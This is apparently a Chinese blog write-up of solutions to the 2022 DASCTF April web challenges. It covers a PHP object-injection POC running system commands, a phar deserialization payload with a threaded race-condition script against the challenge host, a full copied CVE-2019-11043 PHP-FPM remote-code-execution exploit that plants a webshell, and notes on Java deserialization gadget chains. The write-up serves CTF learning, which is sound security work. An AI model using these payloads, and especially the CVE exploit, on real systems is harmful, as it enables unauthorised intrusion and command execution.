2022DASCTF Apr X FATE 防疫挑战赛

2022DASCTF Apr X FATE 防疫挑战赛

image-20220502053436817

只出了两题, 最后一题java的还是不知道怎么做的

warmup-php

image-20220423141204766

EXP:

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);

/*测试
$argv=[
    "template"=>"{TableBody}",
    "data"=>array("a","b"),
    "rowHtmlOptionsExpression"=>"system('calc');"
];
new Action("TestView",$argv);
//echo $properties==$argv;
*/
/*POC
GET:
?action=TestView
POST:
properties[template]={TableBody}&properties[data][0]=a&properties[data][1]=b&properties[rowHtmlOptionsExpression]=system('ls -al /');
*/
?>

soeasy_php

纯白给了,ctrl+U看源码有个edit.php,这里可以任意源码读取

image-20220423180625002

image-20220425103054965

看到默认值为1.png,访问/uploads/1.png可以看到是一张图片, 初始的aotoman图片就是uploads/3.png所以这个地方的png就是指定首页的显示图片为png参数地址

image-20220425103419338

image-20220425103522165

读出index.php edit.php upload.php

edit.php

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}

if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

upload.php

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功: ".$path;
};

index.php

<html>
<body>
当前头像:
<img width="50px" height="50px" src="uploads/head.png"/>
<br/>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <p><input type="file" name="file"></p>
    <p><input type="submit" value="上传头像"></p>
</form>
<br/>
<form action="edit.php" method="post" enctype="application/x-www-form-urlencoded">
    <p><input type="text" name="png" value="<?php echo rand(1,3)?>.png" hidden="1"></p>
    <p><input type="text" name="flag" value="flag{x}" hidden="1" ></p>
<!--    <p><input type="submit" value="更换头像"></p> -->
</form>

</body>
</html>

所以重点就是edit.php

  1. 判断png地址格式是否合格, 合格的话就读取文件判断是否以flag{开头,如果是则将文件内容修改为Don't give me flag!!!

  2. 判断是否发送有flag参数,

    如果flag参数为Give me flag则将/tmp/flag.txt文件内容修改为Don't give me flag!!!

    否则的话就将flag参数内容写入/tmp/flag.txt

  3. 最后将uploads/head.png作为符号链接指向png参数地址文件(相当于把png地址文件复制到uploads/head.png)

    如果失败的话就将png参数所指的文件删除

class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

这已经很显眼了, 我们要跑三个请求线程

  1. 先上传一个phar文件, 得到文件地址uploads/xxx.png

    <?php
    class flag {
       function __wakeup(){
           system('calc');
       }
    }
    
    $phar = new Phar("phar.phar");
    $phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new flag();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
    system('type phar.phar.tar.gz');
    include "phar://phar.phar.tar.gz";
    //__HALT_COMPILER();
    ?>
  2. 访问/edit.php修改head.png的内容为/tmp/flag.txt

  3. 访问/uploads/head.png得到文件内容

  4. 访问/edit.php通过unlink触发flag类执行/copyflag

py脚本:

import threading
import requests

def send(url,data={},p=False,g=False):
    while 1:
        if g:
            res = requests.get(url)
        else:res = requests.post(url, data)
        if p :
            if res.status_code==200:
                print(str(res.text))
            else:
                print(res.status_code)

# 查看head.png
url1="http://d90d16d1-0c4f-43d2-b55f-debe635f6466.node4.buuoj.cn:81/uploads/head.png"
threading.Thread(target=send,args=(url1,{},True,True)).start()

# 触发copyflag
url2="http://d90d16d1-0c4f-43d2-b55f-debe635f6466.node4.buuoj.cn:81/edit.php"
data2={'flag':"aaa",'png':'phar:///var/www/html/uploads/fe409167fb98b72dcaff5486a612a575.png/test.txt?'+'a'*2000}
threading.Thread(target=send,args=(url2,data2,)).start()

# 修改head.png
url3="http://d90d16d1-0c4f-43d2-b55f-debe635f6466.node4.buuoj.cn:81/edit.php"
data3={'flag':"aaa",'png':'/tmp/flag.txt'}
threading.Thread(target=send,args=(url3,data3)).start()

image-20220425105451798

赛后在比赛群里出题人说其实没想让我们条件竞争的而是让我们在sleep(2)的窗口期通过/proc/self/fd的文件描述符读取flag文件的,也确实可行hhh,捋一下思路就是:

  1. 第一个请求满足$flag == "Give me flag"从而在执行filewrite("/tmp/flag.txt", "Don't give me flag")之后进入sleep(2)的窗口期
  2. 在窗口期期间第二个请求发出, 通过触发pahr由将/tmp/flag.txt的内容改为/flag
  3. 窗口期结束第一个请求继续执行,将头像改为了/tmp/flag.txt,所以此时头像的内容就是/flag的内容而不是"Don't give me flag"
  4. 读取头像内容获取flag

突然发现个问题,,,好像上面也没用到fd的文件描述符呀...不管了,毕竟没动手,其实用文件描述符读取flag文件代替/tmp/flag.txt也行,不过貌似会出现一些其他的时间问题,多的不想说了,就这样吧

无用的记录

这是比赛时找到edit.php前的记录,并没什么用

传什么都行, 最后会被放到由文件名加密后的.png下,内容不变, 但只有这一个点.

另外还有一个有点积鸡肋感觉没什么luan用的dockerfile,不知道是不是CVE-2019-11043的php-FPM+Nginx组合加配置漏洞,但是如果是的话那应该还要有特定的配置文件才行, 而我跑了一遍CVE-2019-11043的poc脚本最后也没什么反应,细节什么的看下面文章:

PHP 远程代码执行漏洞复现(CVE-2019-11043)反弹shell成功

FROM php:7.2.3-fpm

COPY files /tmp/files/
COPY src /var/www/html/
COPY flag /flag

RUN chown -R root:root /var/www/html/ && \
    chmod -R 755 /var/www/html && \
    chown -R www-data:www-data /var/www/html/uploads && \
    sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
    sed -i '/security/d' /etc/apt/sources.list && \
    apt-get update && \
    apt-get install nginx -y && \
    /bin/mv -f /tmp/files/default  /etc/nginx/sites-available/default && \
    gcc /tmp/files/copyflag.c -o /copyflag && \
    chmod 4711 /copyflag && \
    rm -rf /tmp/files && \
    rm -rf /var/lib/apt/lists/* && \
    chmod 700 /flag

CMD nginx&&php-fpm

EXPOSE 80

image-20220423180719371

image-20220423180747348

测试脚本(在这里没有用)

import requests

# author:eth10
# 根据GitHub上面的go语言exp,以及攻击数据包写的对应py3 exp
# 随便改一下就可以批量检测了,检测之前最好确认是nginx+linux+php的环境
# url必须是带有php的文件路径,如:http://192.168.1.11/index.php
# 第一次的话在攻击过程中可以利用,但是结束后可能就不稳定了,建议第一次执行完之后,再执行一次稳定后就可以执行命令了。
# 访问即可执行命令:http://192.168.1.11/index.php?a=ifconfig

url = input("URL:")
url = url.strip()

def one():
    tmplist = []
    headers = {"User-Agent": "Mozilla/5.0",
               "D-Pisos": "8=D",
               "Ebut": "mamku tvoyu"
               }
    for i in range(1499, 1900):
        res = requests.get(url + "/PHP%0Ais_the_shittiest_lang.php?" + "Q" * i, headers=headers)
        if res.status_code == 502:
            tmplist.append(i-10)
            tmplist.append(i-5)
            tmplist.append(i)
            print(f"Status code 502 for qsl={tmplist[0]}, adding as a candidate")
            print(f"The target is probably vulnerable. Possible QSLs: {tmplist}")
            break
    return tmplist

def two():
    tmplist = one()
    if len(tmplist) == 0:
        print('暂未发现漏洞')
        return None
    for i in tmplist:
        for j in range(1, 256):
            headers = {
                "User-Agent": "Mozilla/5.0",
                "D-Pisos": f"8{'='*j}D",
                "Ebut": "mamku tvoyu"
            }
            res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=1;;;?" + "Q" * i, headers=headers)
            if "Set-Cookie" in res.headers:
                # print(i, j, res.headers)
                print('Trying to set "session.auto_start=0"...')
                for t in range(50):
                    res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=0;;;?" + "Q" * i, headers=headers)
                print('Performing attack using php.ini settings...')
                count = 0
                for l in range(1000):
                    res = requests.get(
                        url + "/PHP_VALUE%0Ashort_open_tag=1;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i-27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ahtml_errors=0;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ainclude_path=/tmp;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aauto_prepend_file=a;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    # print('auto_prepend_file=a', res.text)
                    res = requests.get(
                        url + "/PHP_VALUE%0Alog_errors=1;;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_reporting=2;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    print(l, 'error_reporting=2', res.content)
                    # if "/usr/bin/which" == res.text
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_log=/tmp/a;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension_dir=%22%3C%3F=%60%22;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27-5),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension=%22$_GET%5Ba%5D%60%3F%3E%22?a=/bin/sh+-c+'which+which'&" + "Q" * (
                                    i - 27 - 5-3),
                        headers=headers)
                    if "PHP Warning" in res.text:
                        # print('extension=%22$_GET', res.text)
                        for k in range(5):
                            res = requests.get(
                                url + "/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&" + "Q" * (
                                        i - 97), headers=headers)
                            if "PHP Warning" in res.text:
                                # print('a=%3Becho+%27%3C%3Fphp+echo', res.text)
                                break
                break

two()

warmup-JAVA

image-20220423180502192

//IndexController.java
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.warmup;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/warmup"})
    public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Utils.hexStringToBytes(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "index";
    }
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.warmup;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MyInvocationHandler implements InvocationHandler, Serializable {
    private Class type;

    public MyInvocationHandler() {
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Method[] methods = this.type.getDeclaredMethods();
        Method[] var5 = methods;
        int var6 = methods.length;

        for(int var7 = 0; var7 < var6; ++var7) {
            Method xmethod = var5[var7];
            xmethod.invoke(args[0]);
        }

        return null;
    }
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.warmup;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class Utils {
    public Utils() {
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }

            return ret.toString();
        }
    }

    static int hexCharToInt(char c) {
        if (c >= '0' && c <= '9') {
            return c - 48;
        } else if (c >= 'A' && c <= 'F') {
            return c - 65 + 10;
        } else if (c >= 'a' && c <= 'f') {
            return c - 97 + 10;
        } else {
            throw new RuntimeException("invalid hex char '" + c + "'");
        }
    }

    public static byte[] hexStringToBytes(String s) {
        if (s == null) {
            return null;
        } else {
            int sz = s.length();
            byte[] ret = new byte[sz / 2];

            for(int i = 0; i < sz; i += 2) {
                ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1)));
            }

            return ret;
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.warmup;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class WarmupApplication {
    public WarmupApplication() {
    }

    public static void main(String[] args) {
        SpringApplication.run(WarmupApplication.class, args);
    }
}

留一点Tips:

  1. 将proxy交给一个可反序列化的类classxxx, 并将其赋值给反序列化类的成员变量xxx, 然后反序列化执行过程中执行xxx.yyy(zzz,...)然后就会将xxx作为proxy参数,将yyy作为method参数,zzz...作为args参数传到MyInvocationHandler.invoke中,最后执行MyInvocationHandler.type.getDeclaredMethods()[i=0,1,2...](args[0])

       public static void main(String[] args) throws Exception {
           MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Tools.class);
           Object object = Proxy.newProxyInstance(Object.class.getClassLoader(), Object.class.getInterfaces(),myInvocationHandler);
           HashMap hashMap = new HashMap<>();
           hashMap.put(object,"object");
           System.out.println("Hello World");
       }

    上面代码会因为在put过程中需要计算key的hash值而执行object.toByteArray从而触发MyInvocationHandler.invoke函数

  2. 但是有一些条件

    1. classxxx执行方法xxx.yyy(zzz,...)并不是任何方法都行,至于哪些可以哪些不可以我现在都没弄清楚
    2. 一般来说就是只能执行一个函数,并且这个函数满足一些条件:
      1. 无参函数
      2. 在类中是第一个被定义的函数
      3. 执行函数的对象类型需要满足函数执行条件(classxxx可能会对成员变量的类型有限制)
  3. 所以就是需要找到这种情况:

    1. classxxx反序列化过程中调用了成员函数xxx的可触发invoke的yyy函数并且第一个参数为zzz
    2. 找到一个classtype,它的第一个定义的函数为ppp(),且ppp为无参函数
    3. zzz.ppp()可以顺利执行并且在ppp中触发危险的调用链
    4. 调用链执行危险函数/命令
    5. 带出flag

由于条件太强了,所以到现在也还没找出来合适的链子, 学一下CodeQL看看能不能自己写个ql脚本把链子测出来吧(感觉希望不大)

原本想等wp做复现的结果到现在网上都没公开的wp, 连复现都做不了,麻瓜了......

2022.5.5更:

Template只有两个函数,一个是newTrans另一个是优先队列函数,标准的CC调用链尾巴
就差一个a.x(b)里面的a和b都可控的调用点了,
找了Map类和优先队列以及比较器的compare都没找到合适的(主要是类型转换和invoke提前被hash()处罚的问题),其它的就没看了,留坑

再带几个jackson反序列化的学习文章:

https://thonsun.github.io/2020/10/24/jackjson-fan-xu-lie-lou-dong-fu-xian/

https://blog.cfyqy.com/article/64cb820c.html

https://segmentfault.com/a/1190000041734426

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇